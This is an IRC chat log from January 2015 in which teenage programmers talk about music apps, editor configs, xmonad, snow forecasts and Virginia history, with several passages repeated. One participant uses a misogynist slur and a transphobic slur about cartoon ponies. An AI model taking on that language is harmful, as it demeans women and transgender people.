[2015-01-24T21:38:50-0500] <jwoglom> i've never been sexually harassed
[2015-01-24T21:39:02-0500] <jwoglom> i'm not sure whether a pick up line by a bot is considered sexual harrassment, tho
[2015-01-24T21:39:29-0500] <alokpathy> awe: It also doesn't have either quotes from awebot trying to hit me up.
[2015-01-24T21:41:21-0500] <bob_twinkles> do any of you guys use Spotify?
[2015-01-24T21:41:23-0500] <@awe> oh good, hardmath123, you removed the trash ones.
[2015-01-24T21:41:24-0500] <@awe> bob_twinkles: I use rdio.
[2015-01-24T21:42:03-0500] <bob_twinkles> well, spotify has this add from HRBlock which goes something like "... We got so much money back, we started thinking of it as _refund_ season!"
[2015-01-24T21:42:11-0500] <bob_twinkles> and I was typing SetInputMapping
[2015-01-24T21:42:23-0500] <bob_twinkles> but instead of typing Input, right when he said refund I typed it
[2015-01-24T21:42:25-0500] <bob_twinkles> so
[2015-01-24T21:42:27-0500] <bob_twinkles> SetRefundMapping
[2015-01-24T21:43:35-0500] <bob_twinkles> that was funnier in my head
[2015-01-24T21:43:50-0500] <alokpathy> xD
[2015-01-24T21:44:40-0500] <+hardmath123> relevant http://xkcd.com/604/
[2015-01-24T21:45:09-0500] <@awe> Lol, yup.
[2015-01-24T21:46:26-0500] <alokpathy> lolol
[2015-01-24T21:48:50-0500] <Tamini_> awe
[2015-01-24T21:48:53-0500] <@awe> Yah?
[2015-01-24T21:48:58-0500] <Tamini_> why do you insist on rdio again?
[2015-01-24T21:49:29-0500] <@awe> It's prettier.
[2015-01-24T21:50:00-0500] <+hardmath123> i use grooveshark, the ugliest of them all. :(
[2015-01-24T21:50:03-0500] <@awe> Lol.
[2015-01-24T21:50:20-0500] <bob_twinkles> I use spotify 'cauase it has a native linux client
[2015-01-24T21:50:32-0500] <@awe> Rdio is a web app.
[2015-01-24T21:50:32-0500] <bob_twinkles> don't want to be burning CPU on flash =P
[2015-01-24T21:50:40-0500] <@awe> The "native" client is Flash, yeah.
[2015-01-24T21:50:46-0500] <@awe> It's just a wrapper around the website.
[2015-01-24T21:50:48-0500] <Tamini_> grooveshark has a LOT of music
[2015-01-24T21:50:49-0500] <Tamini_> >.<
[2015-01-24T21:51:03-0500] <bob_twinkles> the spotify client is GTK I think
[2015-01-24T21:51:21-0500] <bob_twinkles> well, the web client is probably flash but I don't use that
[2015-01-24T21:51:22-0500] <+hardmath123> that's why i use it
[2015-01-24T21:51:24-0500] <+hardmath123> well, not exactly
[2015-01-24T21:51:36-0500] <+hardmath123> i use grooveshark because it has *Too Many People* by manfred mann
[2015-01-24T21:56:27-0500] <Tamini_> lol
[2015-01-24T21:56:36-0500] <Tamini_> spotify doesnt have it, right?
[2015-01-24T21:56:53-0500] <Tamini_> idk spotify doesnt have a lot of the really indie korean music i listen to
[2015-01-24T21:56:58-0500] <Tamini_> grooveshark sometimes has it
[2015-01-24T21:59:21-0500] <+hardmath123> neither spotify nor youtube have it
[2015-01-24T22:00:16-0500] <bob_twinkles> hardmath123: https://www.youtube.com/watch?v=Nmkxc4siNB4 ?
[2015-01-24T22:00:59-0500] <Tamini_> ^
[2015-01-24T22:01:04-0500] <Tamini_> youtube has had it for a while
[2015-01-24T22:02:49-0500] <+hardmath123> O____o
[2015-01-24T22:02:52-0500] <+hardmath123> "for a while"
[2015-01-24T22:03:00-0500] <+hardmath123> April 2014 was not the first time I've heard of that song.
[2015-01-24T22:03:08-0500] <Tamini_> well
[2015-01-24T22:03:19-0500] <Tamini_> it had it the first time you mentioned that song to me :P
[2015-01-24T22:03:28-0500] <+hardmath123> :P
[2015-01-24T22:03:48-0500] <+hardmath123> First time i heard of it was like 4 years ago.
[2015-01-24T22:04:15-0500] <+hardmath123> I was ranting about life the way only a sixth grader forced to be at a school he hates can.
[2015-01-24T22:04:27-0500] <+hardmath123> *seventh
[2015-01-24T22:04:46-0500] <+hardmath123> and a friend was like "you sound like these guys" and inserted a 5sec snip of the song
[2015-01-24T22:04:57-0500] <+hardmath123> (in an email)
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[2015-01-24T22:21:21-0500] <Tamini_> lol
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[2015-01-25T01:50:50-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-24T22:02:48-0500] <+hardmath123> O____o
[2015-01-24T22:02:51-0500] <+hardmath123> "for a while"
[2015-01-24T22:02:59-0500] <+hardmath123> April 2014 was not the first time I've heard of that song.
[2015-01-24T22:03:07-0500] <Tamini_> well
[2015-01-24T22:03:18-0500] <Tamini_> it had it the first time you mentioned that song to me :P
[2015-01-24T22:03:27-0500] <+hardmath123> :P
[2015-01-24T22:03:47-0500] <+hardmath123> First time i heard of it was like 4 years ago.
[2015-01-24T22:04:14-0500] <+hardmath123> I was ranting about life the way only a sixth grader forced to be at a school he hates can.
[2015-01-24T22:04:26-0500] <+hardmath123> *seventh
[2015-01-24T22:04:45-0500] <+hardmath123> and a friend was like "you sound like these guys" and inserted a 5sec snip of the song
[2015-01-24T22:04:56-0500] <+hardmath123> (in an email)
[2015-01-24T22:21:20-0500] <Tamini_> lol
[2015-01-25T00:44:53-0500] <Tamini_> ugh these kids dont wanna go home
[2015-01-25T00:44:54-0500] <Tamini_> >.<
[2015-01-25T00:48:16-0500] <alokpathy> ?
[2015-01-25T00:50:22-0500] <Tamini_> what is this madness
[2015-01-25T00:50:27-0500] <Tamini_> they want to do more math at 12;50
[2015-01-25T01:11:20-0500] <nezorg> https://lambda.xyz/maud/doc/maud/ heheheheh I like the examples
[2015-01-25T01:25:10-0500] <+Tamini> oh, heh
[2015-01-25T01:25:35-0500] <+Tamini> this is cute
[2015-01-25T01:32:56-0500] <nezorg> pinkie is indeed best pony
[2015-01-25T01:34:06-0500] <LittleBobbyTables> pls
[2015-01-25T01:34:11-0500] <LittleBobbyTables> fluttershy best
[2015-01-25T01:34:58-0500] <+hardmath123> i nominate applejack
[2015-01-25T01:35:07-0500] <LittleBobbyTables> applejack is a cunt
[2015-01-25T01:35:08-0500] <+hardmath123> i won a stuffed applejack playing poker in vegas
[2015-01-25T01:35:09-0500] <+Tamini> rainbow dash best pony
[2015-01-25T01:35:17-0500] <+hardmath123> details of this will remain unsaid.
[2015-01-25T01:35:20-0500] <+Tamini> lol
[2015-01-25T01:35:21-0500] <LittleBobbyTables> rainbow dash is a tranny
[2015-01-25T01:35:26-0500] <LittleBobbyTables> 100%
[2015-01-25T01:35:28-0500] <+Tamini> no, i think the details need to be shared
[2015-01-25T01:35:30-0500] <+Tamini> LittleBobbyTables: pls
[2015-01-25T01:35:32-0500] <+Tamini> cite evidence
[2015-01-25T01:35:39-0500] <+Tamini> she's just pretty badass
[2015-01-25T01:35:40-0500] <LittleBobbyTables> uhh
[2015-01-25T01:35:42-0500] <LittleBobbyTables> ANY episode
[2015-01-25T01:35:55-0500] <LittleBobbyTables> have you watched the show at all
[2015-01-25T01:36:54-0500] <+Tamini> uhh yes
[2015-01-25T01:37:08-0500] <+Tamini> doesnt imply tranny
[2015-01-25T01:37:40-0500] <LittleBobbyTables> rainbow dash was totally born a dude
[2015-01-25T01:40:05-0500] <+Tamini> pshh
[2015-01-25T01:40:12-0500] <+Tamini> you can be a badass athlete without being a dude man
[2015-01-25T01:41:20-0500] <nezorg> pinkiedash best ship
[2015-01-25T01:41:23-0500] <nezorg> or maybe 2nd best ship
[2015-01-25T01:41:49-0500] <+Tamini> what is best ship?
[2015-01-25T01:42:14-0500] <nezorg> maybe taviscratch
[2015-01-25T01:42:18-0500] <nezorg> so many good fanfics
[2015-01-25T01:42:40-0500] <+Tamini> oh
[2015-01-25T01:42:43-0500] <+Tamini> musicship
[2015-01-25T01:50:53-0500] Mode is +nst
[2015-01-25T01:51:33-0500] <bob_twinkles> return GetValueCustom(Keys, [&] (KeyType * keys, int depth, TreeNode<KeyType, ValueType> * current) { return keys[depth] == Terminator; } ); // mmmm C++
[2015-01-25T01:54:46-0500] <nezorg> action: function () {alert('EVERYTHING IS COOL WHEN YOU\'RE PART OF A TEAM');},
[2015-01-25T01:55:05-0500] <+Tamini> nezorg: finish your integration and get some damn sleep :P
[2015-01-25T02:15:19-0500] <nezorg> Tamini: pushed!
[2015-01-25T02:15:24-0500] <+Tamini> :D
[2015-01-25T02:15:27-0500] <+Tamini> now go to sleep
[2015-01-25T02:15:34-0500] <+Tamini> its late after your bedtime, little boy
[2015-01-25T02:15:42-0500] <LittleBobbyTables> Tamini: 100% boy
[2015-01-25T02:15:46-0500] <LittleBobbyTables> not just because athlete
[2015-01-25T02:15:47-0500] <nezorg> magit is lovely
[2015-01-25T02:15:53-0500] <LittleBobbyTables> just how (s)he acts
[2015-01-25T02:17:35-0500] <nezorg> yall should really give emacs a chance
[2015-01-25T02:17:40-0500] <nezorg> it's preetty awesome
[2015-01-25T02:18:05-0500] <bob_twinkles> my vimrc is getting close to 200 lines
[2015-01-25T02:18:20-0500] <bob_twinkles> I dun want to have to redo that in emacs lisp =P
[2015-01-25T02:18:52-0500] <nezorg> you won't have to
[2015-01-25T02:18:59-0500] <nezorg> emacs is wonderful ootb
[2015-01-25T02:19:06-0500] <nezorg> (once you turn off the gui cruft...)
[2015-01-25T02:19:09-0500] <+Tamini> lol
[2015-01-25T02:19:17-0500] <+Tamini> but being perfectionist
[2015-01-25T02:19:38-0500] <nezorg> well you can be more perfectionist as you go
[2015-01-25T02:19:52-0500] <nezorg> my config atm is pretty minimalist
[2015-01-25T02:19:55-0500] <nezorg> it used to be a lot bigger
[2015-01-25T02:20:02-0500] <nezorg> but then I started using more packages
[2015-01-25T02:20:28-0500] <bob_twinkles> actually my current vimrc is 264 lines, though ~100 of that is blank lines/comments
[2015-01-25T02:21:46-0500] <bob_twinkles> but most of that is actual code for the tabline, statusline and various window layout creation macros
[2015-01-25T02:22:02-0500] <nezorg> which emacs has
[2015-01-25T02:22:05-0500] <nezorg> builtin
[2015-01-25T02:22:20-0500] <bob_twinkles> yeah, but it's stuff that would be nontrivial to port
[2015-01-25T02:22:26-0500] <nezorg> like what?
[2015-01-25T02:22:28-0500] <bob_twinkles> since it's there to override vim defaults
[2015-01-25T02:22:56-0500] <bob_twinkles> https://github.com/bobtwinkles/dotfiles/blob/master/vimrc#L97-L143
[2015-01-25T02:22:57-0500] <LittleBobbyTables> vim defaults are shit
[2015-01-25T02:23:48-0500] <bob_twinkles> the default defaults are pretty bad
[2015-01-25T02:23:54-0500] <bob_twinkles> most distros have more reasonable defaults though
[2015-01-25T02:24:50-0500] <bob_twinkles> nezorg: it's not that the logic is complex, it's just that I don't really feel like learning the emacs APIs =P
[2015-01-25T02:25:09-0500] <nezorg> they're a lot more elegant than vim's, or so I've heard
[2015-01-25T02:25:14-0500] <bob_twinkles> maybe if I get a free weekend or so I'll take a look at it
[2015-01-25T02:25:18-0500] <bob_twinkles> vimscript is a pretty low bar
[2015-01-25T02:25:22-0500] <nezorg> everything just seems like it works really well together in emacs
[2015-01-25T02:25:33-0500] <nezorg> like you can easily hook things up to other things and it works flawlessly
[2015-01-25T02:26:17-0500] <nezorg> here's my init.el if you're interested: https://github.com/jmgrosen/dotfiles/blob/master/emacs.d/init.el
[2015-01-25T02:26:23-0500] <nezorg> (although I've added some stuff I haven't pushed)
[2015-01-25T02:26:34-0500] <bob_twinkles> well, since the whole thing is configured using a pure functional language that's not too surprising
[2015-01-25T02:26:45-0500] <nezorg> uh, it's certainly not pure
[2015-01-25T02:27:02-0500] <nezorg> :P
[2015-01-25T02:27:12-0500] <bob_twinkles> well, closer to pure than vimscript
[2015-01-25T02:27:57-0500] <bob_twinkles> oh, big problem with emacs to start with
[2015-01-25T02:28:03-0500] <bob_twinkles> ALT is my xmonad modifier =P
[2015-01-25T02:28:19-0500] <nezorg> switch it in either emacs or xmonad then
[2015-01-25T02:28:27-0500] <bob_twinkles> well yeah
[2015-01-25T02:29:04-0500] <@awe> I now have a virtual machine with NixOS and xmonad.
[2015-01-25T02:29:13-0500] <@awe> Though I have zero idea how to go about configuring xmonad like this.
[2015-01-25T02:29:17-0500] <+Tamini> ooh
[2015-01-25T02:29:25-0500] <nezorg> awe: .xmonad/xmonad.hs
[2015-01-25T02:29:29-0500] <@awe> Even in Nix?
[2015-01-25T02:29:32-0500] <nezorg> oh
[2015-01-25T02:29:33-0500] <nezorg> right
[2015-01-25T02:29:35-0500] <nezorg> nix is weird
[2015-01-25T02:29:37-0500] <@awe> Yeah.
[2015-01-25T02:30:06-0500] <bob_twinkles> is .xmonad/xmonad.hs not working?
[2015-01-25T02:30:12-0500] <@awe> Did not try, honestly.
[2015-01-25T02:30:25-0500] <bob_twinkles> you never know until you try =P
[2015-01-25T02:30:43-0500] <@awe> That's true.
[2015-01-25T02:30:51-0500] <bob_twinkles> can you explain how Nix is supposed to be a purely functional package manager
[2015-01-25T02:30:56-0500] <bob_twinkles> I read the documentation and I can't figure it out
[2015-01-25T02:31:29-0500] <nezorg> awe: it is indeed just $HOME/.xmonad/xmonad.hs
[2015-01-25T02:31:31-0500] <@awe> Okay.
[2015-01-25T02:31:32-0500] <@awe> Cool.
[2015-01-25T02:31:49-0500] <@awe> bob_twinkles: it's declarative and stuff.
[2015-01-25T02:32:31-0500] <@awe> I'm tired. I'm going to go to bed.
[2015-01-25T02:33:04-0500] <nezorg> same here
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[2015-01-25T09:16:44-0500] <ubuntor> woah, i woke up at a reasonable hour today
[2015-01-25T09:18:28-0500] <ubuntor> you all should do wechall
[2015-01-25T09:18:31-0500] <ubuntor> it's great
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[2015-01-25T11:43:24-0500] <+JacobEdelman> gmorning
[2015-01-25T11:47:21-0500] <Tamini_> gmornin
[2015-01-25T12:00:13-0500] <+hardmath123> morning jacob
[2015-01-25T12:03:55-0500] <ubuntor> moin
[2015-01-25T12:14:19-0500] <Tamini_> heeh
[2015-01-25T12:14:33-0500] <Tamini_> wait JacobEdelman, how much snow are you guys going to get tomorrow?
[2015-01-25T12:18:22-0500] <+hardmath123> :(
[2015-01-25T12:18:32-0500] <+hardmath123> you cool kids with your snow
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[2015-01-25T12:24:38-0500] <Tamini_> lol
[2015-01-25T12:24:42-0500] <Tamini_> you california kids
[2015-01-25T12:24:49-0500] <Tamini_> im really hoping we get tomorrow off >.<
[2015-01-25T12:24:55-0500] <Tamini_> i have an orgo presentation and blech
[2015-01-25T12:30:19-0500] <@awe> Supposedly, it's going to snow like a foot tonight.
[2015-01-25T12:30:26-0500] <@awe> Or tomorrow night or something.
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[2015-01-25T12:38:58-0500] <+JacobEdelman> awe: I keeping getting dissconnected from irc.pdgn.co
[2015-01-25T12:39:03-0500] <+JacobEdelman> awe: any idea why?
[2015-01-25T12:39:22-0500] <@awe> IRCCloud might be having issues.
[2015-01-25T12:39:26-0500] JacobEdelman has userhost uid15877@pdgn-dot.9lf.7cuf9e.IP and real name "JacobE"
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[2015-01-25T12:40:10-0500] <+JacobEdelman> Tamini: 1-3 inches accumlation in the morning tommorow, 4-8 during the night
[2015-01-25T12:40:47-0500] <+JacobEdelman> Tamini: 2 to 4 inches tuesday before 3pm
[2015-01-25T12:40:59-0500] <+JacobEdelman> *that night was monday night
[2015-01-25T12:51:59-0500] <Tamini_> damn lucky
[2015-01-25T12:52:10-0500] <Tamini_> ours is switching from snow to rain to snow
[2015-01-25T12:52:44-0500] <+JacobEdelman> Tamini_: that could be good if you don't want school
[2015-01-25T12:52:57-0500] <+JacobEdelman> Tamini_: if it rains, than goes below freezing = ice sheets on roads
[2015-01-25T12:52:58-0500] <Tamini_> no like
[2015-01-25T12:53:02-0500] <Tamini_> forecast wise
[2015-01-25T12:53:05-0500] <Tamini_> and ehh i guess
[2015-01-25T12:53:11-0500] <+JacobEdelman> Tamini_: still, just on the edge is what you want
[2015-01-25T12:53:24-0500] <Tamini_> hopefullyyy
[2015-01-25T12:53:33-0500] <+JacobEdelman> although youre way down south :P
[2015-01-25T12:53:34-0500] <Tamini_> i dont wanna do anything today
[2015-01-25T12:53:40-0500] <+JacobEdelman> so a light dusting of snow is all you need
[2015-01-25T12:53:47-0500] <Tamini_> if forecast settles down i was going to go out today
[2015-01-25T12:56:14-0500] <@awe> DC is not "way down South."
[2015-01-25T12:56:23-0500] <@awe> Virginia is the first state in the South.
[2015-01-25T12:56:37-0500] <@awe> Tamini_: lives in the northernmost Southern state.
[2015-01-25T12:56:51-0500] <Tamini_> yeah
[2015-01-25T13:04:19-0500] <jwoglom> Nova isnt really southern at all
[2015-01-25T13:04:55-0500] <jwoglom> Personally I'd only consider past ~Fredericksburg to be south
[2015-01-25T13:05:47-0500] <+JacobEdelman> anywhere south of me is way down south
[2015-01-25T13:05:58-0500] <+JacobEdelman> anywhere north of me is the deep frigid north
[2015-01-25T13:06:11-0500] <+JacobEdelman> hence, alok is a northerner who can surive frigit climates
[2015-01-25T13:06:21-0500] <+JacobEdelman> since he lives a few minutes north of me
[2015-01-25T13:06:23-0500] <+JacobEdelman> :P
[2015-01-25T13:06:58-0500] <jwoglom> Doesn't that suggest a bit that the world revolves around you? :P
[2015-01-25T13:08:19-0500] <ubuntor> lol
[2015-01-25T13:08:27-0500] <Tamini_> you mean it doesn't?
[2015-01-25T13:08:57-0500] <+JacobEdelman> ^
[2015-01-25T13:09:23-0500] <@awe> jwoglom: my sister lives in Stafford and that's very Southern.
[2015-01-25T13:09:29-0500] <+JacobEdelman> jwoglom: it's because I'm so fat
[2015-01-25T13:09:41-0500] <+JacobEdelman> (thats funny if you actually know me)
[2015-01-25T13:10:04-0500] <+JacobEdelman> corrrection: thats funny if you are me, like most of my jokes, I'm the one who laughs the most
[2015-01-25T13:10:13-0500] <jwoglom> awe: I guess it depends on the area you live in
[2015-01-25T13:10:25-0500] <jwoglom> I live in Fairfax/Burke and it's not southern at all
[2015-01-25T13:10:42-0500] <Tamini_> lol
[2015-01-25T13:10:59-0500] <Tamini_> northern virginians honestly
[2015-01-25T13:11:03-0500] <jwoglom> Then again, I've kind of lived here my entire life
[2015-01-25T13:11:07-0500] <Tamini_> associate more with dc than with va
[2015-01-25T13:11:13-0500] <jwoglom> Very liberal area
[2015-01-25T13:11:30-0500] <@awe> One of your state highway's is named Jefferson Davis Road.
[2015-01-25T13:11:51-0500] <Tamini_> LOL
[2015-01-25T13:12:14-0500] <jwoglom> Yeah nova is very different from the rest of va
[2015-01-25T13:12:20-0500] <+JacobEdelman> awe: after the union general? https://en.wikipedia.org/wiki/Jefferson_C._Davis
[2015-01-25T13:12:38-0500] <@awe> N, it's after the president.
[2015-01-25T13:12:46-0500] <jwoglom> Well, like, so much us history has happened in VA
[2015-01-25T13:12:50-0500] <+JacobEdelman> :P
[2015-01-25T13:12:55-0500] <@awe> I think it's after the president, anyway.
[2015-01-25T13:13:04-0500] <@awe> jwoglom: Because you were the heart of the confederacy.
[2015-01-25T13:13:10-0500] <+JacobEdelman> jwoglom: we gots us history too! 
[2015-01-25T13:13:18-0500] <jwoglom> awe: true
[2015-01-25T13:13:32-0500] <jwoglom> JacobEdelman: Virginia arguably has more :P
[2015-01-25T13:13:36-0500] <+JacobEdelman> jwoglom: like edison! who didn't actually do anything! and uh.... I don't princeton?
[2015-01-25T13:13:40-0500] <+JacobEdelman> jwoglom: yes, I agree
[2015-01-25T13:13:50-0500] <@awe> But if Virginia had won, it'd have lots of Confederate history, not US history.
[2015-01-25T13:13:50-0500] <@awe> :p
[2015-01-25T13:13:51-0500] <+JacobEdelman> *I don't know, princeton?
[2015-01-25T13:14:28-0500] <Tamini_> im sure if we go down south
[2015-01-25T13:14:31-0500] <@awe> JacobEdelman: Nikola Tesla is from Long Island.
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[2015-01-25T13:13:32-0500] <jwoglom> JacobEdelman: Virginia arguably has more :P
[2015-01-25T13:13:36-0500] <JacobEdelman> jwoglom: like edison! who didn't actually do anything! and uh.... I don't princeton?
[2015-01-25T13:13:40-0500] <JacobEdelman> jwoglom: yes, I agree
[2015-01-25T13:13:50-0500] <@awe> But if Virginia had won, it'd have lots of Confederate history, not US history.
[2015-01-25T13:13:50-0500] <@awe> :p
[2015-01-25T13:13:51-0500] <JacobEdelman> *I don't know, princeton?
[2015-01-25T13:14:28-0500] <Tamini_> im sure if we go down south
[2015-01-25T13:14:31-0500] <@awe> JacobEdelman: Nikola Tesla is from Long Island.
[2015-01-25T13:14:33-0500] <Tamini_> we'll see confederate flags
[2015-01-25T13:15:26-0500] <JacobEdelman> awe: i know... we didn't get anything cool until recentely when we got hubble, einstien, and nash
[2015-01-25T13:15:27-0500] <jwoglom> Probably yes
[2015-01-25T13:15:29-0500] <JacobEdelman> oh, and me!
[2015-01-25T13:16:14-0500] <Tamini_> yes jacob
[2015-01-25T13:16:16-0500] <Tamini_> youre uh
[2015-01-25T13:16:20-0500] <Tamini_> very special
[2015-01-25T13:16:52-0500] <JacobEdelman> Tamini_: yes! now back to doing whatever it is I do when I'm supposed to be doing hw!
[2015-01-25T13:17:02-0500] <Tamini_> hehe
[2015-01-25T13:17:08-0500] <Tamini_> i wanna go watch into the woods
[2015-01-25T13:17:17-0500] <Tamini_> but i have an exam tuesday >.<
[2015-01-25T13:17:30-0500] <jwoglom> JacobEdelman: write your own history textbook and include yourself in it :P
[2015-01-25T13:17:53-0500] <jwoglom> Tamini_: but snow (possibly)!
[2015-01-25T13:18:11-0500] <Tamini_> i know but
[2015-01-25T13:18:26-0500] <Tamini_> i doubt my mom will let me go out because "it might snow"
[2015-01-25T13:18:49-0500] <jwoglom> I really hope there's no school tomorrow
[2015-01-25T13:18:56-0500] <JacobEdelman> wow... you people are scared of snow
[2015-01-25T13:19:05-0500] <jwoglom> Physics midterm :/
[2015-01-25T13:20:02-0500] <Tamini_> lol oh yeah
[2015-01-25T13:20:12-0500] <Tamini_> physics 1 kids said it was pretty hard
[2015-01-25T13:20:12-0500] <JacobEdelman> jwoglom: nah, I'll write a math textbook instead!
[2015-01-25T13:20:16-0500] <Tamini_> forbes wrote it, heh
[2015-01-25T13:20:27-0500] <Tamini_> JacobEdelman: ooh, im writing one right now! :D
[2015-01-25T13:20:28-0500] <JacobEdelman> jwoglom: jacobs theorem part 1: a^2+b^2 = c^2 when a,b are....
[2015-01-25T13:20:36-0500] <jwoglom> JacobEdelman: genius!
[2015-01-25T13:20:49-0500] <jwoglom> Tamini_: wonderful
[2015-01-25T13:21:06-0500] <JacobEdelman> jwoglom: jacobs theorem part 23: the angle bisector of a isoscleles triangle is also the....
[2015-01-25T13:21:21-0500] <JacobEdelman> Tamini_: I heard!
[2015-01-25T13:21:26-0500] <JacobEdelman> Tamini_: can Ize see it?
[2015-01-25T13:21:39-0500] <Tamini_> umm
[2015-01-25T13:21:45-0500] <Tamini_> when its written, yeah
[2015-01-25T13:21:53-0500] <Tamini_> its supposed to be like olympiad prep
[2015-01-25T13:21:56-0500] <Tamini_> should be fun
[2015-01-25T13:21:58-0500] <JacobEdelman> gtg
[2015-01-25T13:22:26-0500] <Tamini_> jwoglom: forbes is great man
[2015-01-25T13:22:43-0500] <jwoglom> Tamini_: he's my teacher, yo
[2015-01-25T13:22:49-0500] <jwoglom> Just I wanna do well
[2015-01-25T13:23:03-0500] <Tamini_> ohhh you have forbes
[2015-01-25T13:23:09-0500] <Tamini_> i love him hes so awesome
[2015-01-25T13:23:22-0500] <jwoglom> He seems like a pretty cool guy
[2015-01-25T13:26:30-0500] <LittleBobbyTables> I am, thanks
[2015-01-25T13:32:31-0500] <ubuntor> hmm, i don't remember how i got nvidia to work
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[2015-01-25T13:13:32-0500] <jwoglom> JacobEdelman: Virginia arguably has more :P
[2015-01-25T13:13:36-0500] <JacobEdelman> jwoglom: like edison! who didn't actually do anything! and uh.... I don't princeton?
[2015-01-25T13:13:40-0500] <JacobEdelman> jwoglom: yes, I agree
[2015-01-25T13:13:50-0500] <@awe> But if Virginia had won, it'd have lots of Confederate history, not US history.
[2015-01-25T13:13:50-0500] <@awe> :p
[2015-01-25T13:13:51-0500] <JacobEdelman> *I don't know, princeton?
[2015-01-25T13:14:28-0500] <Tamini_> im sure if we go down south
[2015-01-25T13:14:31-0500] <@awe> JacobEdelman: Nikola Tesla is from Long Island.
[2015-01-25T13:14:33-0500] <Tamini_> we'll see confederate flags
[2015-01-25T13:15:26-0500] <JacobEdelman> awe: i know... we didn't get anything cool until recentely when we got hubble, einstien, and nash
[2015-01-25T13:15:27-0500] <jwoglom> Probably yes
[2015-01-25T13:15:29-0500] <JacobEdelman> oh, and me!
[2015-01-25T13:16:14-0500] <Tamini_> yes jacob
[2015-01-25T13:16:16-0500] <Tamini_> youre uh
[2015-01-25T13:16:20-0500] <Tamini_> very special
[2015-01-25T13:16:52-0500] <JacobEdelman> Tamini_: yes! now back to doing whatever it is I do when I'm supposed to be doing hw!
[2015-01-25T13:17:02-0500] <Tamini_> hehe
[2015-01-25T13:17:08-0500] <Tamini_> i wanna go watch into the woods
[2015-01-25T13:17:17-0500] <Tamini_> but i have an exam tuesday >.<
[2015-01-25T13:17:30-0500] <jwoglom> JacobEdelman: write your own history textbook and include yourself in it :P
[2015-01-25T13:17:53-0500] <jwoglom> Tamini_: but snow (possibly)!
[2015-01-25T13:18:11-0500] <Tamini_> i know but
[2015-01-25T13:18:26-0500] <Tamini_> i doubt my mom will let me go out because "it might snow"
[2015-01-25T13:18:49-0500] <jwoglom> I really hope there's no school tomorrow
[2015-01-25T13:18:56-0500] <JacobEdelman> wow... you people are scared of snow
[2015-01-25T13:19:05-0500] <jwoglom> Physics midterm :/
[2015-01-25T13:20:02-0500] <Tamini_> lol oh yeah
[2015-01-25T13:20:12-0500] <Tamini_> physics 1 kids said it was pretty hard
[2015-01-25T13:20:12-0500] <JacobEdelman> jwoglom: nah, I'll write a math textbook instead!
[2015-01-25T13:20:16-0500] <Tamini_> forbes wrote it, heh
[2015-01-25T13:20:27-0500] <Tamini_> JacobEdelman: ooh, im writing one right now! :D
[2015-01-25T13:20:28-0500] <JacobEdelman> jwoglom: jacobs theorem part 1: a^2+b^2 = c^2 when a,b are....
[2015-01-25T13:20:36-0500] <jwoglom> JacobEdelman: genius!
[2015-01-25T13:20:49-0500] <jwoglom> Tamini_: wonderful
[2015-01-25T13:21:06-0500] <JacobEdelman> jwoglom: jacobs theorem part 23: the angle bisector of a isoscleles triangle is also the....
[2015-01-25T13:21:21-0500] <JacobEdelman> Tamini_: I heard!
[2015-01-25T13:21:26-0500] <JacobEdelman> Tamini_: can Ize see it?
[2015-01-25T13:21:39-0500] <Tamini_> umm
[2015-01-25T13:21:45-0500] <Tamini_> when its written, yeah
[2015-01-25T13:21:53-0500] <Tamini_> its supposed to be like olympiad prep
[2015-01-25T13:21:56-0500] <Tamini_> should be fun
[2015-01-25T13:21:58-0500] <JacobEdelman> gtg
[2015-01-25T13:22:26-0500] <Tamini_> jwoglom: forbes is great man
[2015-01-25T13:22:43-0500] <jwoglom> Tamini_: he's my teacher, yo
[2015-01-25T13:22:49-0500] <jwoglom> Just I wanna do well
[2015-01-25T13:23:03-0500] <Tamini_> ohhh you have forbes
[2015-01-25T13:23:09-0500] <Tamini_> i love him hes so awesome
[2015-01-25T13:23:22-0500] <jwoglom> He seems like a pretty cool guy
[2015-01-25T13:26:30-0500] <LittleBobbyTables> I am, thanks
[2015-01-25T13:32:31-0500] <ubuntor> hmm, i don't remember how i got nvidia to work
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[2015-01-25T14:18:47-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-25T13:13:32-0500] <jwoglom> JacobEdelman: Virginia arguably has more :P
[2015-01-25T13:13:36-0500] <JacobEdelman> jwoglom: like edison! who didn't actually do anything! and uh.... I don't princeton?
[2015-01-25T13:13:40-0500] <JacobEdelman> jwoglom: yes, I agree
[2015-01-25T13:13:50-0500] <@awe> But if Virginia had won, it'd have lots of Confederate history, not US history.
[2015-01-25T13:13:50-0500] <@awe> :p
[2015-01-25T13:13:51-0500] <JacobEdelman> *I don't know, princeton?
[2015-01-25T13:14:28-0500] <Tamini_> im sure if we go down south
[2015-01-25T13:14:31-0500] <@awe> JacobEdelman: Nikola Tesla is from Long Island.
[2015-01-25T13:14:33-0500] <Tamini_> we'll see confederate flags
[2015-01-25T13:15:26-0500] <JacobEdelman> awe: i know... we didn't get anything cool until recentely when we got hubble, einstien, and nash
[2015-01-25T13:15:27-0500] <jwoglom> Probably yes
[2015-01-25T13:15:29-0500] <JacobEdelman> oh, and me!
[2015-01-25T13:16:14-0500] <Tamini_> yes jacob
[2015-01-25T13:16:16-0500] <Tamini_> youre uh
[2015-01-25T13:16:20-0500] <Tamini_> very special
[2015-01-25T13:16:52-0500] <JacobEdelman> Tamini_: yes! now back to doing whatever it is I do when I'm supposed to be doing hw!
[2015-01-25T13:17:02-0500] <Tamini_> hehe
[2015-01-25T13:17:08-0500] <Tamini_> i wanna go watch into the woods
[2015-01-25T13:17:17-0500] <Tamini_> but i have an exam tuesday >.<
[2015-01-25T13:17:30-0500] <jwoglom> JacobEdelman: write your own history textbook and include yourself in it :P
[2015-01-25T13:17:53-0500] <jwoglom> Tamini_: but snow (possibly)!
[2015-01-25T13:18:11-0500] <Tamini_> i know but
[2015-01-25T13:18:26-0500] <Tamini_> i doubt my mom will let me go out because "it might snow"
[2015-01-25T13:18:49-0500] <jwoglom> I really hope there's no school tomorrow
[2015-01-25T13:18:56-0500] <JacobEdelman> wow... you people are scared of snow
[2015-01-25T13:19:05-0500] <jwoglom> Physics midterm :/
[2015-01-25T13:20:02-0500] <Tamini_> lol oh yeah
[2015-01-25T13:20:12-0500] <Tamini_> physics 1 kids said it was pretty hard
[2015-01-25T13:20:12-0500] <JacobEdelman> jwoglom: nah, I'll write a math textbook instead!
[2015-01-25T13:20:16-0500] <Tamini_> forbes wrote it, heh
[2015-01-25T13:20:27-0500] <Tamini_> JacobEdelman: ooh, im writing one right now! :D
[2015-01-25T13:20:28-0500] <JacobEdelman> jwoglom: jacobs theorem part 1: a^2+b^2 = c^2 when a,b are....
